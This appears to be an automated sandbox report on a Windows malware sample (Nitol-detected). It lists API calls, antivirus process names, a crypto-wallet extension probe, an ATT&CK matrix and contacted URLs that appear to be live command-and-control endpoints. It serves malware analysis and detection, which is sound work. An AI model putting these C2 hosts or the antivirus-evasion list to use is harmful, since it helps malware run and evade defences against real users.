Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Code function: 5_2_004454BE cpuid

5_2_004454BE

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	16_2_6CAB4CBE
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	16_2_6CABFCF0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: EnumSystemLocalesA,	16_2_6CABFCC6
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	16_2_6CABFC04
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	16_2_6CAB5C68
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	16_2_6CABFD93
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	16_2_6CABFD57
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoA,	16_2_6CAC3FD6
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	16_2_6CABF83C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	16_2_6CABF9D8
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	16_2_6CABF931
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	16_2_6CAB594A
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	16_2_6CABFA33
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	16_2_6CABE436
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	16_2_6CABE510
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	16_2_6CAAB122
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	16_2_6CABF2B0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: EnumSystemLocalesW,	16_2_032493C9
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	16_2_03254641
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	16_2_0322C4C4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	16_2_03254A58
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: EnumSystemLocalesW,	16_2_03254932
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,	16_2_0324993C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: EnumSystemLocalesW,	16_2_032549CD
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: EnumSystemLocalesW,	16_2_032548E7
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	16_2_03254FB0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,	16_2_03254EDD
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	16_2_03254DD5
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,	16_2_03254CAD
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: EnumSystemLocalesW,	16_2_100503A5
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	16_2_100334A0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	16_2_1005B61D
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: EnumSystemLocalesW,	16_2_1005B8C3
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: EnumSystemLocalesW,	16_2_1005B90E
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,	16_2_10050918
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: EnumSystemLocalesW,	16_2_1005B9A9
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	16_2_1005BA34
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,	16_2_1005BC89
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	16_2_1005BDB1
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,	16_2_1005BEB9
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	16_2_1005BF8C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	17_2_6CAB4CBE
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	17_2_6CABFCF0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: EnumSystemLocalesA,	17_2_6CABFCC6
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	17_2_6CABFC04
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	17_2_6CAB5C68
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	17_2_6CABFD93
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	17_2_6CABFD57
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoA,	17_2_6CAC3FD6
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	17_2_6CABF83C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	17_2_6CABF9D8
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	17_2_6CABF931
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	17_2_6CAB594A
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	17_2_6CABFA33
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	17_2_6CABE436
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	17_2_6CABE510
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	17_2_6CAAB122
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	17_2_6CABF2B0

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Code function: 5_2_004456EB GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_004456EB

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

16_2_0322C4C4

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_0324A6E1 _free,GetTimeZoneInformation,_free,

16_2_0324A6E1

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Code function: 5_2_0043352D GetVersionExW,

5_2_0043352D

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: lte7inN.exe	Binary or memory string: acs.exe
Source: lte7inN.exe	Binary or memory string: kxetray.exe
Source: lte7inN.exe	Binary or memory string: vsserv.exe
Source: lte7inN.exe	Binary or memory string: avcenter.exe
Source: lte7inN.exe	Binary or memory string: cfp.exe
Source: lte7inN.exe, lte7inN.exe, 00000010.00000002.3137201398.0000000002F49000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137799741.0000000010064000.00000002.00001000.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137330090.00000000031F9000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: KSafeTray.exe
Source: lte7inN.exe	Binary or memory string: avp.exe
Source: 3Kel6xErOk.exe, lte7inN.exe	Binary or memory string: 360tray.exe
Source: lte7inN.exe	Binary or memory string: rtvscan.exe
Source: lte7inN.exe	Binary or memory string: TMBMSRV.exe
Source: lte7inN.exe	Binary or memory string: ashDisp.exe
Source: lte7inN.exe	Binary or memory string: avgwdsvc.exe
Source: lte7inN.exe	Binary or memory string: AYAgent.aye
Source: lte7inN.exe	Binary or memory string: QUHLPSVC.EXE
Source: lte7inN.exe	Binary or memory string: RavMonD.exe
Source: lte7inN.exe	Binary or memory string: Mcshield.exe
Source: lte7inN.exe	Binary or memory string: K7TSecurity.exe

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Nitol

Source: Yara match	File source: 16.2.lte7inN.exe.31f9c24.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.lte7inN.exe.2f49c24.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.lte7inN.exe.31f9c24.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.lte7inN.exe.2f49c24.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.3137799741.0000000010064000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3137201398.0000000002F49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3137330090.00000000031F9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lte7inN.exe PID: 7548, type: MEMORYSTR

Tries to access browser extension known for cryptocurrency wallets

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nkbihfbeogaeaoehlefnkodbefgpgknn\

Jump to behavior

Remote Access Functionality

Yara detected Nitol

Source: Yara match	File source: 16.2.lte7inN.exe.31f9c24.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.lte7inN.exe.2f49c24.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.lte7inN.exe.31f9c24.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.lte7inN.exe.2f49c24.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.3137799741.0000000010064000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3137201398.0000000002F49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3137330090.00000000031F9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lte7inN.exe PID: 7548, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Credential API Hooking	12 System Time Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 Create Account	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Windows Service	11 Windows Service	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Service Execution	1 Registry Run Keys / Startup Folder	13 Process Injection	1 DLL Side-Loading	NTDS	247 System Information Discovery	Distributed Component Object Model	1 Credential API Hooking	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	2 Masquerading	LSA Secrets	571 Security Software Discovery	SSH	11 Input Capture	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	23 Virtualization/Sandbox Evasion	Cached Domain Credentials	23 Virtualization/Sandbox Evasion	VNC	3 Clipboard Data	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	13 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Indicator Removal	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3Kel6xErOk.exe	16%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\pR4cysw\t4d.tmp	100%	Avira	DR/FakePic.Gen
C:\Program Files (x86)\pR4cysw\t5d.tmp	100%	Avira	DR/FakePic.Gen
C:\Program Files (x86)\pR4cysw\MSVCP140.dll	0%	ReversingLabs
C:\Program Files (x86)\pR4cysw\VCRUNTIME140.dll	0%	ReversingLabs
C:\Program Files (x86)\pR4cysw\libcef.dll	5%	ReversingLabs
C:\Program Files (x86)\pR4cysw\lte7inN.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://mvc.withoutyou5.com/SF;	0%	Avira URL Cloud	safe
https:///api.php/common/gettask/api.php/common/getdomain.200idleActivityTimePlugingsleep	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/gettask	0%	Avira URL Cloud	safe
https://pc.game.iqiyi.com	0%	Avira URL Cloud	safe
http://pc.game.iqiyi.com/flash	0%	Avira URL Cloud	safe
https://pc.game.iqiyi.com/protocol	0%	Avira URL Cloud	safe
http://apisgame.iqiyi.com/pcwcenter/basic/upgrade/info?	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/long.bmpw	0%	Avira URL Cloud	safe
https://data.iana.org/time-zones/tz-link.htmlPostScript	0%	Avira URL Cloud	safe
http://apisgame.iqiyi.com/pcwcenter/basic/upgrade/info?.current_version=&sign_key=fb99b749dc3cd844fb	0%	Avira URL Cloud	safe
http://www.baidu.com/pc.game.iqiyi.com/togamenx	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/Datw	0%	Avira URL Cloud	safe
http://pc.game.iqiyi.com/index?sdkver=10.12.0.845	0%	Avira URL Cloud	safe
http://pc.game.iqiyi.com/homehttp://pc.game.iqiyi.com/gamehttp://pc.game.iqiyi.com/flashOPEN/.lnkpca	0%	Avira URL Cloud	safe
http://pc.game.iqiyi.com/login.htmlEDITMozilla/5.0	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com:443/api.php/common/gettask	0%	Avira URL Cloud	safe
https://curl.haxx.se/docs/http-cookies.html	0%	Avira URL Cloud	safe
http://pc.game.iqiyi.com/game	0%	Avira URL Cloud	safe
https://msg.qy.net/v5/gamecenter/pc?	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/text.bmpC:	0%	Avira URL Cloud	safe
https://caces.goldenh0ur.com/api.php/common/getdomain	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/long.bmpwi	0%	Avira URL Cloud	safe
http://pc.game.iqiyi.com/index?sdkver=10.12.0.845node.dllatlTraceGeneralatlTraceQIatlTraceCOMatlTrac	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/gettaskL	0%	Avira URL Cloud	safe
https://www.geonames.org/	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/gettaskR	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/t.bmpmp	0%	Avira URL Cloud	safe
https://www.geonames.org/Timezone	0%	Avira URL Cloud	safe
https://data.iana.org/time-zones/tz-link.html	0%	Avira URL Cloud	safe
http://www.astro.com/swisseph.	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/gettaskI	0%	Avira URL Cloud	safe
https://support.ubi.com/?GenomeId=954e66a0-be1b-4aa0-9690-fb75201e4e9epidRequired	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com:443/api.php/common/gettaskF#	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/Pro	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/amF	0%	Avira URL Cloud	safe
http://hook.testnode.dll1rGYz	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com:443/api.php/common/gettask%#	0%	Avira URL Cloud	safe
http://pc.game.iqiyi.com/gamehttp://pc.game.iqiyi.com/homeOPENhttp://pc.game.iqiyi.com/flashpc.game.	0%	Avira URL Cloud	safe
http://pc.game.iqiyi.com/login.html	0%	Avira URL Cloud	safe
https://support.ubi.com/	0%	Avira URL Cloud	safe
http://www.astrolog.org/astrolog.htm	0%	Avira URL Cloud	safe
http://pc.game.iqiyi.com/home	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/1	0%	Avira URL Cloud	safe
http://miniblink.netCookiefile:///http://www.github.com/weolar/miniblink49testinjectcalljavascript:U	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/RON	0%	Avira URL Cloud	safe
http://www.baidu.com/	0%	Avira URL Cloud	safe
http://www.gnu.org	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/d.bmpWhttp://web.ad87h92j.com/4/t.bmp	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/receivejson	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/long.bmpwininetShell32msvcrt	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/long.bmp	0%	Avira URL Cloud	safe
http://localhost:12222..	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/TDEe	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com:443/api.php/common/receivejson	0%	Avira URL Cloud	safe
https://pc.game.iqiyi.comconfig.json/systemsetting/channelpostdata_urlsystemsettinghome_urlprotocol_	0%	Avira URL Cloud	safe
http://hook.test	0%	Avira URL Cloud	safe
http://www.astrolog.org/astrolog.htmMain	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
caces.goldenh0ur.com	172.67.222.6	true	false	unknown
mvc.withoutyou5.com	172.67.72.137	true	false	unknown
web.ad87h92j.com	188.114.96.3	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://mvc.withoutyou5.com/api.php/common/gettask	false	Avira URL Cloud: safe	unknown
https://caces.goldenh0ur.com/api.php/common/getdomain	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/api.php/common/receivejson	false	Avira URL Cloud: safe	unknown
